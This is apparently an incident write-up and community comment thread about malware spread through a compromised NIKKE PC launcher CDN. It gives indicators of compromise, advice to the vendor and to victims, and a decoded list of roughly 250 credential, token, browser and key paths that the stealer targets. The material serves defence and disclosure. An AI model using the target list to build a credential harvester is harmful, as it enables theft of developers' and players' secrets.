# Windows persistence (the PlatformExperienceHelper folder itself is normal Chrome; only the 64-hex subfolder with the DLL is malicious)
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\<sha256>\platform_experience_helper.dll
HKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}\InprocServer32
# The DLL is patched per victim (agent ID and token), so its hash is not a shared indicator. Look for the path and the key.
# The agent's cleanup code also deletes platform_experience_helper.dll, .dll.old and old-clsid.txt in
# PlatformExperienceHelper\ inside each Chrome Application folder, and a service_util.dll in its
# working folder, probably leftovers of an earlier version.

# Temporary files (normally deleted right after use; one leftover k2f-bcreds copy was reported)
%TEMP%\k2f-bcreds-<unix time>-<random>.db
%TEMP%\k2f_screen_<unix time>_<n>.jpg   (.png in the Oct 23 build, reported)
%TEMP%\k2f-keyscan-<time>-<rand>.db     (Oct 23 build only, reported)

For Level Infinite

  • Four modified files on Tencent COS had last-modified Sep 27 2026, 06:41-06:42 GMT. aegis-fix.min.js, vue-bucket.min.js and images.7fec4c32.js were replaced on Nov 3 between 17:04 and 17:23 GMT.
  • FeedList.feb647c9.js was replaced at the origin on Oct 28 at 15:46 GMT and uploaded again on Nov 3 at 20:13 and 20:19 GMT. 43.175.144.148 and 43.175.145.181 still served the Sep 27 copy on Nov 3 at 22:26 GMT, for both na-webassets and sg-gpts, also for requests with a query string, and 43.175.139.78 still served it for na-webassets on Nov 4 at 00:48 GMT. The four servers checked took the clean copy between 03:12 and 03:21 GMT on Nov 4 and were clean at 11:20 GMT. Other CDN servers were not checked, so each path should still be checked on every server, not only on the one a given resolver returns.
  • Players who launched since Sep 27 may still have the modified files in tbs_cache, and FeedList.feb647c9.js kept its URL in the Nov 4 front-end. The manual check instructions ask players to delete tbs_cache, but the notice does not say that the check in the official PC client clears it. The launcher should give FeedList.feb647c9.js a new URL, or ask before it clears tbs_cache, which also holds traces that show whether the agent ran.
  • The attacker had write access to the CDN bucket, or to the pipeline that publishes to it. That access has to be found and closed. Otherwise a new loader with a new domain can be pushed at any time.
  • Other files in the same buckets may also be modified. They should be checked against build output.
  • The follow-up notice dates the start of distribution to Oct 30 at 03:52 UTC+9, but victims reported agent starts on Oct 23 and Oct 24 (see the timeline). The loader was in the CDN files from Sep 27, so server and CDN logs should be reviewed from Sep 27, the date the notice already uses for player checks.
  • The manual check instructions should also name %APPDATA%\nikke_launcher_hmt and %APPDATA%\nikke_launcher_google, and any file in Launcher\log\tinyget that starts with 1B 4C 4A 01, whatever its size.
  • The client's malware check deletes the related logs when the player agrees to its pop-up. Players need debug.log to know whether the agent ran on their PC, so the check should keep that file, or tell players to save it first.
  • The decompiled payload, the decoded string table and a password-protected sample are available to Level Infinite, hosting providers and security researchers on request. They are not posted here because they would give anyone a working stealer.

NIKKE PC 런처 침해 사고 (2026년 11월)

한국어 번역과 대상 경로 목록은 이제 별도의 Gist에 있습니다: 한국어 Gist

The Korean translation and its list of target paths moved to their own gist: Korean gist

NIKKE launcher payload: every target path

Decoded from insight.bundle (SHA-256 cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec). ~ is %USERPROFILE%. $VAR paths are only used when that environment variable is set.

Files and folders (250)

$ARGOCD_CONFIG_DIR\config
$AZURE_CONFIG_DIR\accessTokens.json
$AZURE_CONFIG_DIR\msal_token_cache.bin
$AZURE_CONFIG_DIR\service_principal_entries.bin
$CARGO_HOME\credentials.toml
$CLAUDE_CONFIG_DIR\.claude.json
$CLAUDE_CONFIG_DIR\.credentials.json
$CLAUDE_CONFIG_DIR\settings.json
$CLOUDSDK_CONFIG\access_tokens.db
$CLOUDSDK_CONFIG\application_default_credentials.json
$CLOUDSDK_CONFIG\credentials.db
$CODEX_HOME\auth.json
$CODEX_HOME\config.toml
$COMPOSER_HOME\auth.json
$COPILOT_HOME\mcp-config.json
$DOCKER_CONFIG\config.json
$DSH_HOME\.credentials.yaml
$GEMINI_CLI_HOME\.gemini\oauth_creds.json
$GEMINI_CLI_HOME\.gemini\settings.json
$GH_CONFIG_DIR\hosts.yml
$GRADLE_USER_HOME\gradle.properties
$HELM_CONFIG_HOME\repositories.yaml
$HF_HOME\stored_tokens
$HF_HOME\token
$JFROG_CLI_HOME_DIR\jfrog-cli.conf.v6
$KAGGLE_CONFIG_DIR\access_token
$KAGGLE_CONFIG_DIR\kaggle.json
$KIMI_SHARE_DIR\config.toml
$PULUMI_HOME\credentials.json
$SAKURA_PROFILE_DIR\*\config.json
$SNOWFLAKE_HOME\config.toml
$TWILIO_CONFIG_DIR\config.json
$XDG_CONFIG_HOME\configstore\firebase-tools.json
~\.aider.conf.yml
~\.aliyun\config.json
~\.anyscale\credentials.json
%APPDATA%\age\*
%APPDATA%\Anthropic\credentials\*.json
%APPDATA%\atlascli\config.toml
%APPDATA%\Buildkite CLI\bk.yaml
%APPDATA%\Claude\claude_desktop_config.json
%APPDATA%\cloudsmith\credentials.ini
%APPDATA%\Code - Insiders\User\globalStorage\state.vscdb
%APPDATA%\Code - Insiders\User\settings.json
%APPDATA%\Code\User\globalStorage\**\*.json
%APPDATA%\Code\User\globalStorage\state.vscdb
%APPDATA%\Code\User\mcp.json
%APPDATA%\Code\User\profiles\*\mcp.json
%APPDATA%\Code\User\profiles\*\settings.json
%APPDATA%\Code\User\settings.json
%APPDATA%\Code\User\workspaceStorage\*\state.vscdb
%APPDATA%\Composer\auth.json
%APPDATA%\Cursor\User\globalStorage\**\*.json
%APPDATA%\Cursor\User\globalStorage\state.vscdb
%APPDATA%\Cursor\User\settings.json
%APPDATA%\dart\pub-credentials.json
%APPDATA%\dart\pub-tokens.json
%APPDATA%\doctl\config.yaml
%APPDATA%\FileZilla\recentservers.xml
%APPDATA%\FileZilla\sitemanager.xml
%APPDATA%\fish\fish_history
%APPDATA%\gcloud\access_tokens.db
%APPDATA%\gcloud\application_default_credentials.json
%APPDATA%\gcloud\credentials.db
%APPDATA%\GitHub CLI\hosts.yml
%APPDATA%\gnupg
%APPDATA%\go\env
%APPDATA%\hcloud\cli.toml
%APPDATA%\helm\repositories.yaml
%APPDATA%\Microsoft\UserSecrets\*\secrets.json
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
%APPDATA%\Mozilla\Firefox\Profiles
%APPDATA%\netlify\Config\config.json
%APPDATA%\nikke_launcher
%APPDATA%\nikke_launcher_hmt
%APPDATA%\npm\etc\npmrc
%APPDATA%\NuGet\NuGet.Config
%APPDATA%\octopus\cli_config.json
%APPDATA%\Opera Software\Opera Stable
%APPDATA%\pip\pip.ini
%APPDATA%\postgresql\pgpass.conf
%APPDATA%\postgresql\.pg_service.conf
%APPDATA%\postgresql\psql_history
%APPDATA%\pypoetry\auth.toml
%APPDATA%\rclone\rclone.conf
%APPDATA%\s3cmd.ini
%APPDATA%\terraform.d\credentials.tfrc.json
%APPDATA%\terraform.rc
%APPDATA%\Windsurf\User\globalStorage\**\*.json
%APPDATA%\Windsurf\User\globalStorage\state.vscdb
%APPDATA%\Windsurf\User\globalStorage\storage.json
%APPDATA%\Windsurf\User\settings.json
%APPDATA%\.wrangler\config\default.toml
%APPDATA%\xdg.data\com.vercel.cli\auth.json
~\.argocd\config
~\.aws\cli\cache\*.json
~\.aws\config
~\.aws\credentials
~\.aws\sso\cache\*.json
~\.aws\sso\cache\kiro-auth-token.json
~\.Azure\accessTokens.json
~\.Azure\msal_token_cache.bin
~\.Azure\service_principal_entries.bin
~\.b2_account_info
~\.bash_history
~\.bce\config.json
~\.cache\huggingface\stored_tokens
~\.cache\huggingface\token
~\.cargo\credentials
~\.cargo\credentials.toml
C:\buildkite-agent\buildkite-agent.cfg
C:\config.toml
~\.certs\*
C:\GitLab-Runner\config.toml
~\.circleci\cli.yml
~\.claude\.credentials.json
~\.claude.json
~\.claude\settings.json
~\\.cloudflared\\*
~\.cloudsmith\credentials.ini
~\.codeium\windsurf\mcp_config.json
~\.codex\auth.json
~\.codex\config.toml
~\.config\age\*
~\.config\argocd\config
~\.config\circleci\config.yml
~\.config\configstore\firebase-tools.json
~\.config\gh\hosts.yml
~\.config\git\config
~\.config\git\credentials
~\.config\glab-cli\config.yml
~\.config\linode-cli
~\.config\planetscale\access-token
~\.config\tc\config.yml
~\.config\tea\config.yml
~\.continue\assistants\*.yaml
~\.continue\config.json
~\.continue\config.yaml
~\.continuum\anaconda-client\tokens\*.token
~\.copilot\mcp-config.json
C:\Program Files\Jenkins\secrets\initialAdminPassword
~\.cursor\mcp.json
~\.databrickscfg
~\.dbt\profiles.yml
~\.docker\config.json
~\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
~\Documents\PowerShell\profile.ps1
~\Documents\.Renviron
~\Documents\.Rprofile
~\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
~\Documents\WindowsPowerShell\profile.ps1
~\.dogrc
~\.dsh\.credentials.yaml
~\.expo\state.json
~\.fly\config.yml
~\.gem\credentials
~\.gemini\google_accounts.json
~\.gemini\oauth_creds.json
~\.gemini\settings.json
~\.gitconfig
~\.git-credentials
~\.gradle\gradle.properties
~\.hcloud\config.json
~\.jenkins\secrets\initialAdminPassword
~\.jfrog\jfrog-cli.conf
~\.jfrog\jfrog-cli.conf.v6
~\.kaggle\access_token
~\.kaggle\kaggle.json
~\.keys\*
~\.kimi\config.toml
~\.kimi\credentials\*.json
~\.kimi\mcp.json
~\.kube\config
%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
%LOCALAPPDATA%\ContinuumIO\binstar\*.token
%LOCALAPPDATA%\glab-cli\config.yml
%LOCALAPPDATA%\Google\Chrome\Application
%LOCALAPPDATA%\Google\Chrome\User Data
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper
%LOCALAPPDATA%\Microsoft\Edge\User Data
%LOCALAPPDATA%\ngrok\ngrok.yml
%LOCALAPPDATA%\snowflake\config.toml
%LOCALAPPDATA%\snowflake\connections.toml
%LOCALAPPDATA%\Vivaldi\User Data
~\.local\share\fish\fish_history
~\.m2\settings.xml
~\mc\config.json
~\.modal.toml
~\.mysql_history
~\.ncloud\configure
~\.netrc
~\_netrc
~\.node_repl_history
~\.npmrc
~\.oci\*
~\.oci\config
~\.oraclebmc\config
~\.pg_service.conf
~\pip\pip.ini
%PROGRAMDATA%\gemini-cli\settings.json
%PROGRAMDATA%\Git\config
%PROGRAMDATA%\pip\pip.ini
%PROGRAMFILES%\Git\etc\gitconfig
~\.psql_history
~\.pulumi\credentials.json
~\.pypirc
~\.python_history
~\.qwen\.env
~\.qwen\settings.json
~\.railway\config.json
~\.rclone.conf
~\.rediscli_history
~\.runpod\config.toml
~\.s3cfg
~\.sbt\.credentials
~\.sbt\sonatype_central_credentials
~\.semgrep\settings.yml
~\.sentryclirc
~\.snowflake\config.toml
~\.snowflake\connections.toml
~\.snowsql\config
~\.sqlite_history
~\.ssh\
~\\.ssh\\*
~\.ssh\config
~\.supabase\access-token
~\.tccli\*.credential
%TEMP%\k2f-bcreds-
~\.terraform.d\credentials.tfrc.json
~\.terraformrc
~\.twilio-cli\config.json
~\.usacloud\*\config.json
%USERPROFILE%\code
%USERPROFILE%\.config\configstore\snyk.json
%USERPROFILE%\.config\containers\auth.json
%USERPROFILE%\.config\neonctl\credentials.json
%USERPROFILE%\.config\stripe\config.toml
%USERPROFILE%\.config\stripe\credentials.json
%USERPROFILE%\.config\.wrangler\config\default.toml
%USERPROFILE%\Desktop
%USERPROFILE%\dev
%USERPROFILE%\Documents
%USERPROFILE%\.local\share\opencode\auth.json
%USERPROFILE%\Programming
%USERPROFILE%\source
~\.vault-token
~\.volcengine\config.json
~\.yarnrc
~\.yarnrc.yml
~\.zsh_history

Environment variables read as a file path (16)

$AWS_CONFIG_FILE
$AWS_SHARED_CREDENTIALS_FILE
$B2_ACCOUNT_INFO
$BUILDKITE_AGENT_CONFIG
$DATABRICKS_CONFIG_FILE
$GOOGLE_APPLICATION_CREDENTIALS
$HELM_REPOSITORY_CONFIG
$HF_TOKEN_PATH
$MODAL_CONFIG_PATH
$NPM_CONFIG_USERCONFIG
$OCI_CONFIG_FILE
$PGPASSFILE
$PGSERVICEFILE
$PIP_CONFIG_FILE
$RCLONE_CONFIG
$TF_CLI_CONFIG_FILE

Browser profile subpaths (15)

browserscan reads Cookies, Network\Cookies, Login Data, Login Data For Account and Local State in Chrome, Edge, Brave, Vivaldi and Opera profiles (for Opera only %APPDATA%\Opera Software\Opera Stable), and only key4.db and logins.json in Firefox profiles. Firefox cookies are not read. Extensions and the entries marked wallet_files are read in Chrome profiles only. Two entries are not browser paths: private-keys-v1.d is the GnuPG key folder, and \u%04x is an escape format of the JSON encoder.

\Cookies
\Extensions
\Extensions\
\IndexedDB\chrome-extension_   (wallet_files only)
\key4.db
\Local Extension Settings\     (wallet_files only)
\Local State
\Local Storage\leveldb         (wallet_files only)
\Login Data
\Login Data For Account
\logins.json
\Network\Cookies
\private-keys-v1.d
\private-keys-v1.d\
\u%04x

Path parts skipped by keyscan, not read (2)

These two strings sit in keyscan's skip filter, next to *.lock, *.pub, known_hosts and file names containing Embeddings. Any path that contains them is left out of the scan.

\ChatSessions\
\Skills-

Registry keys (7)

HARDWARE\DESCRIPTION\System\CentralProcessor\0
Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}\InprocServer32
Software\GNU\GnuPG
Software\Martin Prikryl\WinSCP 2\Sessions
SOFTWARE\Microsoft\Windows NT\CurrentVersion
Software\SimonTatham\PuTTY\Sessions
SYSTEM\CurrentControlSet\Control\Session Manager\Environment

File names and extensions it looks for while scanning (39)

%0\x00
cloudformation.schema.json
codex-index-v1.json
config.ini
credentials
.db
diagnosticMessages.generated.json
docker-compose.yaml
docker-compose.yml
.env
.example
.git
hooks-index.json
inheritance.json
key4.db
kiro-auth-token.json
known_hosts
known_hosts.old
.ldb
.log
logins.json
.mcp.json
mcp.json
mcp_marketplace_catalog.json
.NET user-secrets
.old
old-clsid.txt
.package-lock.json
package-lock.json
%ProgramFiles%\Google\Chrome\Application
%ProgramFiles(x86)%\Google\Chrome\Application
%ProgramFiles(x86)%\NuGet\Config\NuGet.Config
%ProgramW6432%\Google\Chrome\Application
.sample
.sst
.template
toolEmbeddings.json
%XDG_CONFIG_HOME%\.semgrep\settings.yml
%XDG_CONFIG_HOME%\stripe\config.toml
@SonicKeeb

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That's what I did myself, I also have the same setup where Nikke was on my D Drive. I wish I had investigated a bit more before nuking my system yesterday to help the community further but I was just rushing to get home to get everything squared away after confirming the k2f_chan presence. Did a factory reset and clean image install of windows.

@SonicKeeb Did you just reformat your C drive or all your drives? My C drive is a bit unhealthy anyway so I was probably just going to replace it and have a fresh Windows image regardless.

@MotherSphere Sounds good, I primarily use Firefox so I assume they took the Firefox files as well. The math doesn't exactly add up for 1MB but as you've mentioned earlier, there may be some compression or other stuff going on. There were definitely no cookies or login sessions on Chrome but obviously they exist on Firefox and I am taking my time changing pws. Do you recommend reformatting only the C drive or all drives? Either way I'm about to head out to the store to grab a new drive for my C drive an external drive to transfer files too.

All of them, cleaned out the entire system completely first and then did a fresh install of windows with an image I had back from February when I got my new system. I don't have any critical items that are physically stored thankfully which allows me to do things like this.

@MotherSphere

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@DylanChusday For saved passwords, yes. browserscan goes through every Firefox profile in %APPDATA%\Mozilla\Firefox\Profiles and sends its logins.json and key4.db (decompiled payload, lines 8844-8880 and 8939-8960). With those two files the passwords can be decrypted elsewhere, unless you set a Firefox primary password. It does not read Firefox's cookies.sqlite by itself, so Firefox cookies could only have left through cat or download, and no log shows which files those commands read. Sign out of all sessions on the accounts you use in Firefox anyway.

On the drives: the agent's own commands write only to %TEMP%, to the Chrome PlatformExperienceHelper folder and to the HKCU key, all on C: (lines 3244, 4422, 8371 and 8391). Only exec, which runs any command, could have changed files on another drive, and nothing records whether it was used. A clean install of C: removes what the agent's commands could leave behind. For the other drives, reformat them too, or check them before you run anything from them: programs, scripts, shortcuts and Office files with macros (.exe, .dll, .bat, .cmd, .ps1, .vbs, .lnk, .docm, .xlsm) changed since your first k2f_chan date.

@matzemau Several browsers fit a bigger upload. browserscan sends the password and cookie databases of every Chrome, Edge, Brave, Vivaldi and Opera profile, and the saved-password files of every Firefox profile. Reinstalling the main drive is enough for what the agent's own commands leave, since they only write to C:. Another drive needs the same check as above, because exec could reach it. Then change your passwords from a clean device, sign out of all sessions and turn on 2FA.

@victorbbayer-lgtm One correction to my earlier reply: the folder list of browserscan also has Firefox, for saved passwords only (logins.json and key4.db). It changes nothing for Opera GX.

@machina-dot

machina-dot commented Nov 4, 2026 •

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@MotherSphere thanks for the answer. I deleted the entire partition and reinstalled.I am looking at all files in the other discs. Didn't see anything strange on the event logger but I only looked after the time and not before. This is the last I can help. Thanks for all the work and answer and good luck. Dont see any jump on the launcher

@matzemau

matzemau commented Nov 4, 2026

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@matzemau Several browsers fit a bigger upload. browserscan sends the password and cookie databases of every Chrome, Edge, Brave, Vivaldi and Opera profile, and the saved-password files of every Firefox profile. Reinstalling the main drive is enough for what the agent's own commands leave, since they only write to C:. Another drive needs the same check as above, because exec could reach it. Then change your passwords from a clean device, sign out of all sessions and turn on 2FA.

Alright thank you so much. Whats lost is lost in the end I guess. I already changed my passwords and cleared sessions from a different device. Clean installed windows on my main drive aswell.

Thank you for your answers, you really put my mind at ease now. Doing gods work here.

@shadowmonarch523

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@shadowmonarch523 Yes, the built-in reset is enough here. The agent's own commands write only in your user profile on C: (the HKCU key, the Chrome DLL folder under %LOCALAPPDATA% and temp files in %TEMP%). Its code has nothing for boot areas, raw disk access, services or other autostart entries. Only exec can do more than that, and nothing you posted points to the agent running on your PC. A USB install mainly helps against malware that changed Windows' own files (general), and nothing points to that here either.

Not finding PlatformExperienceHelper before the reset is a good sign. The agent creates that folder itself when it installs the DLL, so no key and no folder means the DLL was never installed.

You don't need to wipe the NIKKE drive. The only file this attack is known to leave there is the payload, which the launcher saves in Launcher\log\tinyget\ inside the NIKKE folder. If any part of that folder is still there, search Launcher\intl_service\debug.log for k2f_chan before you delete it. That is the check you couldn't do before. Your old tbs_cache is gone, and all four CDN files were clean on every server checked on Nov 4, so a new launcher install won't load the modified files. Keep the domains and IPs from the write-up blocked.

Thank you @MotherSphere for working on this and for answering our inquiries.
I will not install any Nikke on my machine for sure.
I do blocked the domains and IPs extra layer of protection.

while I'm writing this
NIKKE Official has issued that the launcher now is safe, but still will not install it anymore...
Once again Thank you!!!

@AssessedMen

AssessedMen commented Nov 4, 2026 •

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@MotherSphere Thank you again. I have followed your recommendations and checked via NirSoft WinPrefetchView (attached). On the timeframe of 17.42 those selected are closest. I played max of 30-50 mins, so it should be before 19.00 around 18.10-30. No POWERSHELL.EXE, CMD.EXE, CURL.EXE, CERTUTIL.EXE, BITSADMIN.EXE entries. So I can assume that nothing was installed?
Also checked Event Viewer nothing there on that timeframe.
8

@machina-dot

machina-dot commented Nov 4, 2026 •

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@MotherSphere last point exec can run even without dll and reg? Even with they can it's probable? Even then the launcher didn't have huge spike in incoming

@TheStonelord

TheStonelord commented Nov 4, 2026 •

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@SirArkin

SirArkin commented Nov 4, 2026

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@MotherSphere Thank you for the analysis. I fully removed everything to do with the launcher by the time of posting my initial comment. And have since then went for the nuclear option and did a full fresh windows install. Some inconvenience with installation is miles better than the alternative.

I'd like to thank every member of the community who worked so hard on helping people with this hack. Bless you all

@Roshar-Scarlett

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When I uninstalled using revo uninstaller, the nikke_launcher folder in %APPDATA% was also deleted. After using the commands you mentioned, I get this error.
{B995ADB0-F66E-4ED3-B16F-509317D456A8}

@MotherSphere

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@machina-dot Yes. exec is one of the agent's own commands, so it works whenever the agent has a session through the open launcher, with or without the DLL and the registry key. The DLL is only the part that keeps running after the launcher is closed. Whether the operator used exec on your PC can't be known, because no log records the commands. A short command makes no visible jump in traffic, while a large download shows up as bytes received by the program that downloaded it. Your reinstall covers C:, and checking the other drives for changed programs and scripts covers the rest.

@AssessedMen Nothing in that list points to a program installed during your launch, but sort WinPrefetchView by the last run time as well. Your screenshot is sorted by Created Time, which is the first run, so a program that already existed and ran again on Nov 3 between 17:42 and about 18:30 would not stand out. If the only last-run times in that window belong to programs you started yourself, the check is clean. It still can't prove that nothing ran, since a command with admin rights could delete a Prefetch file. The entries around it are ordinary: SETUP.EXE and 156.0.8078.80_CHROME_INSTALLER at 16:20 are a Chrome update, and WEVTUTIL.EXE ran 10 seconds after it, more than an hour before your launch (installers use it to register their event logs, general). KVRT.EXE at 22:30 is Kaspersky's Virus Removal Tool, and UN_A.EXE at 22:01 is the NIKKE uninstaller. 98A987D2.EXE in a Temp folder at 22:30:31, six seconds after KVRT.EXE, fits a helper that KVRT unpacks, but I can't confirm that from here. It ran after your launch window. Your log showed the agent ran, so the password and session steps stay the same. The screenshot also shows your Windows user name in the paths, so you may want to edit the comment and crop it.

@TheStonelord Thanks. Level Infinite posted three notices on X on Nov 4 between 23:01 and 23:11 GMT: an apology, "PC Launcher Security Incident and Follow-Up Measures", and "Manual Security Check Instructions for the PC Launcher", with the full steps on nikke-en.com. They say the currently distributed launcher is safe to use, that the mobile version was not affected, and that the official PC client has a security check feature (ACE). Their start time, Sep 27 15:41 UTC+9, is 06:41 GMT, the time the write-up gives for the change of the CDN files.

Their manual check matches the write-up: k2f_chan registered in Launcher\intl_service\debug.log (their examples include C:\NIKKE_GOOGLE), the HKCU {E77CC89B-7401-4C04-8CED-149DB35ADD04} key, a restart, the 64-character subfolder that holds platform_experience_helper.dll, the payload file in Launcher\log\tinyget, tbs_cache, new passwords and new API keys. Some points to add to it:

  • Their tbs_cache step names only %APPDATA%\nikke_launcher. The HMT and Google Play Games launchers keep it in %APPDATA%\nikke_launcher_hmt and %APPDATA%\nikke_launcher_google.
  • Their tinyget step looks for a 205,135-byte tinyget.<date>-<time>.log. The Oct 23 build was 165,108 bytes and named k2f.lua (zbeosf, reported). Any file there that starts with the bytes 1B 4C 4A 01 is the agent, whatever its size or name.
  • Sign out of all sessions too, because the agent could take browser cookies, and move crypto wallet funds to a new wallet.
  • A clean Defender Offline scan doesn't prove the DLL is gone: it missed it on one PC (reported).
  • On Linux and Steam Deck the launcher runs through Proton, and the same checks apply inside the prefix (see "Linux and Steam Deck (Proton)").

@Roshar-Scarlett The reg query result is the clean one: the key isn't under your account. The second command failed only because PowerShell doesn't expand %LOCALAPPDATA%. The commands I gave were for Command Prompt. In PowerShell, use:

Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\PlatformExperienceHelper" -ErrorAction SilentlyContinue

No output, or no subfolder with a 64-character name, is the clean result. If your administrator account is a different Windows account from the one you play on, run both commands in a window that is not "as administrator", because HKCU and %LOCALAPPDATA% then point to the administrator account. With %APPDATA%\nikke_launcher gone, the k2f.agent check is gone too. If the NIKKE folder is still there, Launcher\intl_service\debug.log is the check that remains.

@AssessedMen

AssessedMen commented Nov 5, 2026 •

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@MotherSphere I have sorted by the last run time, nothing suspeciouse. KVRT is related to Kaspersky's Virus Removal Tool, so its save. The main issue for me is that I am unable to reinstall windows till nov 8, so not sure if I should treat my PC as infected or I can use it safely now. Regarding name, I actually don't mind, but thank you for pointing that out.

@mattbxd

mattbxd commented Nov 5, 2026 •

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Posting this for a family members system

VERDICT: INFECTED
Critical traces were found: the agent was downloaded or ran, or it left persistence. Treat this computer as compromised.

WHAT HAPPENED
Did the malware run on this computer? Yes.
- The malware agent ran.
- The launcher downloaded the malware.
- The malware agent left traces in the launcher data.
- The launcher contacted the agent server.
Agent runs in the logs:
11-01 21:21:27 (local time, year not logged): the launcher downloaded the agent and saved it as tinyget.20261101-212126-398.log (from debug.log)
11-01 21:21:28 (local time, year not logged): the agent started for the first time on this computer and created its ID (from debug.log)
11-01 21:21:28 (local time, year not logged): the agent sent the computer name to the attacker (from debug.log)
11-02 17:50:26 (local time, year not logged): the launcher downloaded the agent and saved it as tinyget.20261102-175025-178.log (from debug.log)
11-02 17:50:26 (local time, year not logged): the agent started again with the ID it saved (from debug.log)
11-02 17:50:26 (local time, year not logged): the agent sent the computer name to the attacker (from debug.log)
Is anything still active? No.
- The launcher is not running, and no DLL is installed or set to load.
Is there something to clean up? Yes.
- The launcher cache, which holds traces of the malware: \AppData\Roaming\nikke_launcher\tbs_cache
Are you protected for next time? No.
- insightjs.com: not blocked in the hosts file.
- analytics.insightjs.com: not blocked in the hosts file.
- insightjs.org: not blocked in the hosts file.
- The hosts file cannot block IP addresses, and this scan cannot check a firewall. Block 89.127.233.127 and 89.126.250.172 in your firewall or router.
Payload build: 6ae78037-3214f, uploaded 2026-11-01 18:08:55 UTC, 205,135 bytes, one of the 7 known builds. The launcher received it 2026-11-01 21:21:29 (local time).
Payload build: 6ae90538-3214f, uploaded 2026-11-02 21:48:40 UTC, 205,135 bytes, one of the 7 known builds. The launcher received it 2026-11-02 17:50:30 (local time).

so, looks like worst case scenario?

the game was installed on a D: drive but this drive literally only held game installs. Planning to wipe the C:. Better to wipe both?

@Judgementkazzy822

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Hello, I would love some help from this community because I'm confused on what to do because I am only semi-literate when it comes to tech and I will not "nuke" my computer or reinstall windows out of fear. TLDR: I have the k2f-chan registered code in my log which means Im hit, but I don't have the key string Nikke reported in either HKUC or HLM, and while I have the platform experience helper folder in google local app data, it only has the typical blank log file, so as far as I can tell I don't have anything that actually hit me in a way they would be able to use or access.

SO, my question for you lovely people is this. Should I simply do a clean wipe on everything Nikke on my pc and then reinstall, or is there something first I should do before this per your recommendations? For reference, my login is tied to an Apple ID login with 2 factor authentication required using my phone, however if they were using their executable as spyware then I realize they potentially would have that password. Either way, all advice is greatly appreciated!

@BluFondu

BluFondu commented Nov 5, 2026 •

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I installed and played NIKKE daily a few days before Halloween. After learning of the k2f attack, I started to follow the instructions listed here under "if you are infected", did the round of cycling passwords and logging out of all sessions. I did not find any registry keys or dll files. I don't use Chrome, but I do use Waterfox and a little bit of Opera and Brave. However, I ran WhyKusanagi's diagnostic tool, not yours, before uninstalling NIKKE through RevoUninstaller and manual cleanup. The report said k2f was seen twice? I am in the process of doing a MalwareBytes deep scan and am still holding off on reinstalling Windows. Should I go ahead and reinstall using a reset and clear everything? Sorry about the phone quality in advance.
IMG_20261104_162233
IMG_20261104_162428
IMG_20261104_162545

@machina-dot

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@MotherSphere didnt find anything strange. Thanks for everything

@skkjohnny

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@skkjohnny A k2f_chan registered line means the agent ran on that PC, so "If you are infected" applies to you. The two missing traces mean the Chrome DLL was never installed under your account. The agent's own uninstall only clears the key's value and leaves the key, so no key at all means it was never written, unless someone deleted it by hand. Nothing from this attack is known to keep running once the launcher is closed and the DLL is absent.

That leaves the account steps, which you can do from another device. Change the NIKKE password first, because creds decrypts the login the launcher saved. Then change your email password and every password saved in a browser on that PC. Use "sign out of all sessions" on your main accounts, and replace developer tokens, SSH keys or wallet seeds if that PC had any. Only a Windows reinstall rules out a program the operator started with exec.

Deleting the NIKKE folder doesn't remove %APPDATA%\nikke_launcher. If it is still there, run nikke-check before you delete it. It works without the NIKKE folder and reads the agent state in tbs_cache\Local Storage\leveldb (compressed .ldb tables included), the launcher's login profile %LOCALAPPDATA%\CEF\User Data, the HKCU key and the DLL folder. If tbs_cache\TransportSecurity has an analytics.insightjs.com entry, the report gives its time, which is usually the agent's last check-in. That answers part of your "when". Then delete %APPDATA%\nikke_launcher, which also holds the saved NIKKE login.

On SRUM, you're right to expect rows. The modified files and l.js run in tbs_browser.exe, and the k2f_chan registered line comes from l.js, so the launch that got the agent had tbs_browser.exe on the network. Normal launches on other PCs here also show tbs_browser.exe rows, so no rows at all since September points to the search more than to your log. Search for plain tbs_browser, because a find box without wildcard support looks for the * characters too. You can also filter the program column on intl_service, as rnikontas did. On other PCs posted here the path ends in \launcher\intl_service\tbs_browser.exe (reported). If that still finds nothing, post the nikke_launcher.exe rows from Oct 23 on, with the user name and SID columns cropped out. The agent is downloaded by that program, so an hour where it received 165 KB or more above its usual amount is most likely the download hour.

@MotherSphere Yeah, I tried a variety of ways to phrase the search: with wildcards, without wildcards, just searching "tbs" or "tbs_browser", and even the full filepath. Nothing shows up, both when manually searching through the .xlsx file produced by srum-dump, nor through NirSoft's NetworkUsageView. This is odd, since I never noticed any abnormalities in Nikke's launcher despite using it regularly during the period. I double-checked my firewall settings, and I never set any rule to block tbs_browser.exe.

In checking logs related to nikke_launcher.exe, which I'll link here, I'm wondering if the entry at 04:18 on the 4th is the one to look at (Srum ID Number = 118400)? I'm far from an expert on these sorts of things, but that one seems the most likely candidate. Let me know if I've got anything wrong here, or if you need more info.

Again, thanks for all the work you've been doing on this.

@fuenstream

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I panicked uninstalled nikke, i believe i installed it Nov 2, 12:00AM GMT-3, I saw the k2f_chan thing then did the deed, nikke_check says No DLL, No Malware, I checked registry, nothing to be found and %localappdata% folders with same results. Should I do anything else or be more concerned?

@a4840639

a4840639 commented Nov 5, 2026 •

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The situation my on PC is very worrying. From the logs it seems the agent has been running for two occurrences, once in late October and the payload was called log\tinyget\k2f.lua, another time on Nov 2nd and the payload was tinyget.xxx.log. And when it got executed for the second time, it seems to to hold some recollection about my PC as it is resuming the UUID adopted from the first one.

The thing is, I cannot find any other traces besides the records in debug.log. There is no .dll, no registry entry. The payload themselves all seem to be also deleted. And I made another mistake to delete the whole cache directory with the levelDB database files so I do not know what could be held there.

@Iwassoobsessedwith

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The vendor's Nov 4 evening notices, checked against this thread

Level Infinite posted three more items on Nov 4 (23:01 / 23:08 / 23:11 GMT, @NIKKE_en): an image-only apology, a follow-up notice with their incident timeline, and a manual-check guide. Full text of the last two, on the official site: newsdetail.html?content_id=b4f23938a63a0a4e68aa577af395b1edb172 (follow-up) and ...content_id=ecdccd40a55a5a46aaa9abda64d436082db7 (manual check). Two places where their account does not line up with this thread:

